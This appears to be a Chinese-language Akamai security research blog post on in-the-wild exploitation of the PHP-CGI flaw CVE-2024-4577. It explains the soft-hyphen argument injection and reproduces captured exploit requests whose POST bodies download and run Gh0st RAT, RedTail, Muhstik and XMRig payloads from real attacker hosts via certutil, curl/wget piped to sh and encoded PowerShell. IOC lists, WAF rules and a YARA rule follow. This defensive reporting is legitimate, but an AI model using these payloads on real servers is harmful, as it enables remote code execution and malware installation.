CVE-2024-4577 披露后仅一天就被广泛利用
编辑和评论补充:Tricia Howard
执行摘要
Akamai 安全智能响应团队 (SIRT) 一直在监控有关 CVE-2024-4577 的活动,这是在 2024 年 6 月披露的一个 PHP 漏洞,会影响在 CGI 模式下运行的安装。
该漏洞主要影响使用中文和日文区域设置的 Windows 安装,但也有可能在更广泛的安装中被利用。
在漏洞披露后仅一天,SIRT 就观察到了许多尝试滥用此漏洞的恶意行为,表明此漏洞已被攻击者快速地利用。
这些利用方法包括命令注入和多种恶意软件活动:Gh0st RAT、RedTail 加密挖矿程序和 XMRig。
Akamai App & API Protector 一直在自动 抵御 针对我们客户发起的漏洞攻击。
在这篇博文中,我们针对所讨论的各种漏洞利用方法,提供了全面的入侵指标 (IOC) 列表。
简介
近年来,从漏洞披露到漏洞利用的时间间隔明显缩短。实际上,在修补之后的第一个月内,大部分恶意活动就会出现。截至 2024 年 5 月,漏洞利用的平均时间间隔大约为在漏洞公开后的 4 天 ,这几乎根本没有给防御者留下任何准备时间。而这仅仅是漏洞攻击的一部分,攻击者还会持续不断地滥用单日漏洞(即使有些漏洞公布 已有数年),以确保他们的尝试能够取得效果。
以最近发生的一起此类攻击为例,攻击针对的是在 PHP 中发现的一个严重 漏洞 ,该漏洞存在于版本 8.1.* 中 8.1.29 之前的版本、8.2.* 中 8.2.20 之前的版本以及 8.3.* 中 8.3.8 之前的版本。该漏洞是由 PHP 和 CGI 处理程序解析某些 Unicode 字符的方式引起的,这种方式使得攻击者可以实现远程代码执行 (RCE)。此漏洞的 利用极为简单,我们已经观察到各种攻击者利用此漏洞来针对易受攻击的设备发起攻击。
在这篇博文中,我们将介绍所观察到的一些利用此漏洞的尝试,并展示我们已经收集到的入侵指标 (IOC)。
CVE-2024-4577 的利用
要确定漏洞的严重性,一个评判标准就是漏洞的易用性,而这个漏洞非常容易被攻击者利用。为了实现 RCE,攻击者只需要向服务器发送 PHP 代码,并使代码被(错误地)解释。
与 CVE-2012-1823类似,此漏洞同样是基于使用 php://input 将代码嵌入请求正文的方式来进行利用的。在 PHP 中,php://input 是一个只读 I/O 流,您可以用来从请求正文中读取原始数据。利用此漏洞的一个常用选项是 PHP auto_prepend_file,该选项会指定在解析主文件之前自动解析的文件的名称。由于首先解析该文件的内容,这样就确保了在运行其他任何代码之前,先融入攻击者的代码。
此外,许多攻击者选择添加 allow_url_include 选项,该选项可用于从远程位置检索数据以及使用 fopen 和 file_get_contents 等函数。
命令注入
在 PHP 的 CGI 模式中,Web 服务器将解析 HTTP 请求,然后将请求传递到 PHP 脚本,由脚本完成对请求的后续处理。例如,对查询字符串进行解析,然后通过命令行传递到 PHP 解释程序,通过这种方法,类似于 http://host/cgi.php?foo=bar 的命令就可以作为 php.exe cgi.php foo=bar 来执行。
这就为命令注入打开了大门,因此在调用 php.exe 之前需要对输入内容进行清理。CVE-2024-4577 漏洞使得攻击者可以对命令行进行转义,并利用 PHP 直接传递待解释的参数。造成漏洞的根本原因在于 Unicode 字符转换为 ASCII 字符的方式。图 1 借鉴了 watchTowr Lab 关于 CVE-2024-4577 的 精彩文章 ,展示对 php.exe 的两种调用方式(一种为恶意,另一种为善意),并说明了确定调用是否为善意有多困难。
如果我们用肉眼来看,这两种调用完全相同,但机器会以不同的方式进行解释(图 2)。您可以使用十六进制编辑器查看这些参数,然后就会发现,第一个请求使用了标准短划线,也就是连字符 (0x2D),而第二个请求使用的是“软连字符”(0xAD)。
不同的解释方法让攻击得以实施。如果用户将软连字符传递给 CGI 处理程序,处理程序会认为无需进行转义。PHP 为处理 Unicode 字符会应用最合适的映射,因此将假定用户尝试传递标准连字符,然而实际传递的是软连字符。由于程序将软连字符解释为标准连字符,这就使得攻击者能够将以连字符开头的额外命令行参数添加到 PHP 进程中,从而实现 RCE。
为了完善这个解释并帮助您了解这些手段如何结合在一起发挥作用,我们提供了一个在现实环境中捕获的恶意有效负载示例(图 3),以及主机系统在处理此请求之后所生成的命令(图 4)。
/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
图 3:恶意请求示例
php.exe -d allow_url_include -d auto_prepend_file=php://input
图 4:处理后的恶意请求
攻击企图记录
Gh0st RAT 恶意软件
攻击者延续了“快速利用漏洞披露”的趋势,很快就开始利用这个新漏洞:在我们的蜜罐网络中,此漏洞披露后不到 24 小时,就观察到了针对此 PHP 漏洞的攻击意图。
其中一种攻击利用的是 Gh0st RAT 恶意软件(图 5),这是一款开源远程访问工具,面世已超过 15 年。该工具是通过 UPX 封装的 Windows 可执行文件。
Content-Type: application/x-www-form-urlencoded
User-Agent: python-requests/2.22.0
URI:
/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
POST DATA:
<?php system('certutil.exe -urlcache -f http://147.50.253[.]109:44119/phps.exe phpsm.exe&start phpsm.exe');?>
代理 IP 地址:23.237.182[.]122
日期:2024 年 6 月 9 日
在沙盒环境中执行此恶意软件时,它会投放另一个名为“Iqgqosc.exe”的可执行文件,该可执行文件也通过 UPX 封装。接下来,该可执行文件会枚举连接的驱动器和外设,并查询注册表。而且该可执行文件还会将自身重命名为“A646ebf85afa29ae1c77458c575b5e4b0b145d813db028435d33b522edccdc0e.exe”。
它通过端口 8001 向位于德国的命令和控制服务器 146.19.100[.]7 发送了信标。
IP 地址 147.50.253[.]109 IP 有多个证书,通用名称 (CN) 为“BangCloud”,看起来与泰国的一家小型服务器托管提供商有关。与此 CN 关联的大部分 IP 地址也属于同一个 CIDR 147.50.253[.]109,在 VirusTotal 中都显示为与恶意文件相关。在这些结果中,这些 IP 地址中的大部分还具有重叠的哈希值和文件名。图 6 显示了 MITRE ATT&CK Navigator 对所提供 Gh0st RAT 样本的输出结果。
RedTail 加密挖矿程序
在漏洞披露几天后,SIRT 蜜罐中还观察到了使用 CVE-2024-4577 的 RedTail 加密挖矿操作。攻击者发送一个类似于之前 RedTail 操作中的请求,通过“%ADd”来滥用软连字符漏洞,执行 shell 脚本的 wget 请求。此脚本向位于俄罗斯的同一 IP 地址发出另一个网络请求,用于检索 x86 版本的 RedTail 加密挖矿恶意软件(图 7)。
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Linux; Linux x86_64; en-US) Gecko/20100101 Firefox/122.0
URI:
/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
POST DATA:
<?php shell_exec("SC=\$(wget -O- http://185.172.128[.]93/sh || curl http://185.172.128[.]93/sh); echo \"\$SC\" | sh -s cve_2024_4577"); ?>
Shell 脚本尝试使用 wget 或 curl 下载挖矿程序文件,并使用原始 TCP 连接作为回退方法。它搜索当前受害者拥有且具有读取、写入和执行权限的目录,但不包括使用“noexec”选项挂载的目录,例如“/tmp”和“/proc”。然后,脚本:
- 检索系统的架构
- 通过创建和删除测试文件来测试写入权限
- 根据受害者的架构下载并执行有效负载,并将文件重命名为“.redtail”
Shell 脚本中存在一些不适用于 Windows 设备的架构,这可能仅仅是因为攻击者重复使用了通用脚本,并未专门针对此漏洞进行定制。
Muhstik 恶意软件
在我们的蜜罐中,还观察到了另一个滥用此漏洞的行动,意图通过 shell 脚本下载某个版本的 Muhstik 恶意软件(图 8)。
User-Agent: python-requests/2.22
URI:
/?%ADd+allow_url_include%3D1+-d+auto_prepend_file%3Dphp://input
POST DATA:
<?php system('curl 86.48.2[.]49/3sh')?>;echo 1337; die;
Shell 脚本从另一个 IP 地址下载名为“pty3”的文件,该文件是 ELF 文件。进一步的分析表明,这可能是一个 Muhstik 恶意软件样本,之前已 记录在案 。该恶意软件针对物联网和 Linux 服务器,用于加密挖矿和分布式拒绝服务攻击 (DDoS) 等目的。
该脚本的模式和命名约定类似于以前报告过的 Muhstik 恶意软件,例如“pty3”。该脚本还会创建多个与 Muhstik 恶意软件相关的目录,例如“/var/run/pty3”、“/dev/shm/pty3”、“/var/tmp/pty3”和“/var/lock/pty3”。
此外,脚本中列出的命令和控制域是 p.findmeatthe[.]top,该域在近期一篇 单独文章 中已有记载。该文章讲述有关某个通过互联网中继聊天进行通信的 Muhstik 恶意软件活动。
XMRig
在我们观察到滥用此漏洞的第四种攻击中,利用的是 XMR Rig,该攻击执行了以下命令:
URI:
/test.hello?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input
POST DATA (Base64 Encoded):
<?php $cmd=base64_decode('cG93ZXJzaGVsbCAtQ29tbWFuZCAiJHdjID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsgJHRlbXBmaWxlID0gW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcEZpbGVOYW1lKCk7ICR0ZW1wZmlsZSArPSAnLmJhdCc7ICR3Yy5Eb3dubG9hZEZpbGUoJ2h0dHA6Ly9kb3dubG9hZC5jM3Bvb2wub3JnL3htcmlnX3NldHVwL3Jhdy9tYXN0ZXIvc2V0dXBfYzNwb29sX21pbmVyLmJhdCcsICR0ZW1wZmlsZSk7ICYgJHRlbXBmaWxlIDQ5dzhnc0x3N1V3VVZzelVCdFl1amROMU1jTmtvZVl1Y1RjdGFlUFg4bm1iaktBQnpKOVMxcmlnV2RoNUVpVVQxejROUEFQY2h4VDdSYUpYTjNmVVJVcE02RjZLR2p5OyBSZW1vdmUtSXRlbSAtRm9yY2UgJHRlbXBmaWxlIg==');system($cmd) ?>
POST DATA (Base64 Decoded):
powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('http://download.c3pool[.]org/xmrig_setup/raw/master/setup_c3pool_miner.bat', $tempfile); & $tempfile 49w8gsLw7UwUVszUBtYujdN1McNkoeYucTctaePX8nmbjKABzJ9S1rigWdh5EiUT1z4NPAPchxT7RaJXN3fURUpM6F6KGjy; Remove-Item -Force $tempfile"
注入的命令使用 PowerShell 从远程矿池下载和执行脚本,用于启动 XMRig,然后清理临时文件来掩盖自身的活动。
抵御措施
我们建议,受此漏洞影响的企业应该立即应用必要的修补程序,并参与对 IOC 的监控。
客户如果正在以自动模式使用 Akamai Adaptive Security Engine,并将“命令注入攻击”组设置为“拒绝”,则表示已自动启用针对此类攻击的抵御措施。
客户如果正在以手动模式使用 Adaptive Security Engine,则应确保将“命令注入攻击”组或以下规则设置为“拒绝”模式。根据有效负载,下面的一个或多个规则可以抵御此漏洞:
- 969151 v1:PHP 注入攻击(开始标签)
- 959977 v1:PHP 注入攻击(配置覆盖)
- 3000155 v1:检测到 CMD 注入攻击(检测到 PHP/数据筛选器)
- 3000171 v3:Webshell/后门文件上传尝试
与以前一样,您应该经常检查控制台,确定规则集是否有更新或新增内容。在漏洞发布之后不久,我们就观察到了大量扫描活动,企图利用此漏洞。与其他被公开利用的漏洞一样,这些请求中的绝大部分源自漏洞赏金猎人和其他扫描工具。多个 Adaptive Security Engine 规则已发现并阻止此流量(图 9 和 10)。
但是,并非所有企图利用此漏洞的流量都是源自漏洞赏金猎人。虽然 Adaptive Security Engine 阻止了这些请求,这也可能是我们的客户在执行自动抵御措施,以抵御蜜罐发现的相同的恶意漏洞利用行为(图 11)。
此外,Adaptive Security Engine 还阻止了一个我们的蜜罐未检测到的漏洞利用。在图 12 所示的工作负载中,攻击者尝试将文件从他们控制的服务器复制到目标服务器的根目录。复制的文件“up.txt”会允许攻击者利用“/xl.php”端点上传其他任何文件。攻击者可以使用此方法上传其他恶意文件,例如 Web shell 或恶意软件。 更重要的是,通过创建上传文件的其他方法,即使应用了 CVE-2024-4577 的修补程序之后,攻击者仍可保留访问权限。
结论
如果企业使用了各种自动化工具,但缺乏相应的监管措施,这将会给攻击者留下可乘之机。而另一个重大安全风险是,在漏洞披露之后,留给防御者自保和防御的时间越来越短。这一点在此 PHP 漏洞上尤为明显,因为有大量的攻击者快速利用此漏洞。
Akamai SIRT 将继续监控此类威胁并及时进行报告,以提高我们的客户和安全社区的整体安全意识。有关更多研究内容, 请关注我们的微信公众号,及时获取我们所掌握的最新情况。
Gh0st RAT
SHA256 哈希值
A646ebf85afa29ae1c77458c575b5e4b0b145d813db028435d33b522edccdc0e
文件名
A646ebf85afa29ae1c77458c575b5e4b0b145d813db028435d33b522edccdc0e.exe
phps.exe
Iqgqosc.exe
IPv4 地址
147.50.253[.]109
146.19.100[.]7
23.237.182[.]122
与 BangCloud 关联的 IOC 以及 VirusTotal 上的命中
147.50.253[.]220
147.50.253[.]222
147.50.253[.]225
147.50.253[.]219
147.50.253[.]231
147.50.253[.]99
147.50.253[.]100
147.50.253[.]228
147.50.253[.]5
147.50.253[.]4
154.197.12[.]156
147.50.253[.]110
147.50.253[.]102
147.50.253[.]218
147.50.253[.]23
147.50.253[.]11
147.50.253[.]163
147.50.253[.]2
147.50.253[.]116
147.50.253[.]18
147.50.253[.]109
147.50.253[.]106
147.50.253[.]112
147.50.253[.]111
147.50.253[.]7
147.50.253[.]104
147.50.253[.]167
147.50.253[.]119
147.50.253[.]113
147.50.253[.]103
147.50.253[.]107
147.50.253[.]105
147.50.253[.]114
147.50.253[.]108
147.50.253[.]101
147.50.253[.]117
147.50.253[.]115
147.50.229[.]12
MITRE ATT&CK 技术
T1091:通过可移动介质复制
T1547:引导或登录 Autostart 执行
T1056:输入捕获
T1112:修改注册表
T1003:OS 凭据转储
T1120:外围设备发现
T1027:经过混淆处理的文件或信息
T1071:应用层协议
T1082:系统信息发现
T1571:非标准端口
T1057:进程发现
RedTail
IPv4 地址
185.172.128[.]93
SHA256 哈希值
2c602147c727621c5e98525466b8ea78832abe2c3de10f0b33ce9a4adea205eb
0d70a044732a77957eaaf28d9574d75da54ae430d8ad2e4049bd182e13967a6f
ab897157fdef11b267e986ef286fd44a699e3699a458d90994e020619653d2cd
9753df3ea4b9948c82310f64ff103685f78af85e3e08bb5f0d0d44047c63c315
19a06de9a8b66196fa6cc9e86824dee577e462cbeaf36d715c8fea5bcb08b54d
文件名
sh:Shell 脚本
X86_64:Redtail 有效负载
.redtail:RedTail 有效负载
YARA 规则
rule redtail_miner {
meta:
author = "Akamai SIRT"
date = "06/24/2024"
version = "1.0"
description = "YARA Rule for Red Tail Crypto Miner and Shell Script"
strings:
$a1 = "rm -rf .redtail"
$a2 = "mv x86_64 .redtail"
$a3 = "mv i686 .redtail"
$a4 = "mv aarch64 .redtail"
$a5 = "mv arm7 .redtail"
$a6 = "./.redtail $1 > /dev/null 2>&1"
condition:
2 of ($*)
}
Muhstik 恶意软件
Shell 脚本 SHA256 哈希值
1ae2fef05798f0f27e9de76fcef0217f282090fab1ba750623ca36b413151434
ELF 文件 SHA256 哈希值
9e28f942262805b5fb59f46568fed53fd4b7dbf6faf666bedaf6ff22dd416572
文件名
3sh:Shell 脚本
pty3:Muhstik 恶意软件有效负载
IPv4 地址
147.139.29[.]220
86.48.2[.]49
185.201.8[.]176
194.59.165[.]52
156.67.218[.]115
域名
p.findmeatthe[.]top
p.deutschland-zahlung[.]eu
p.shadow-mods[.]net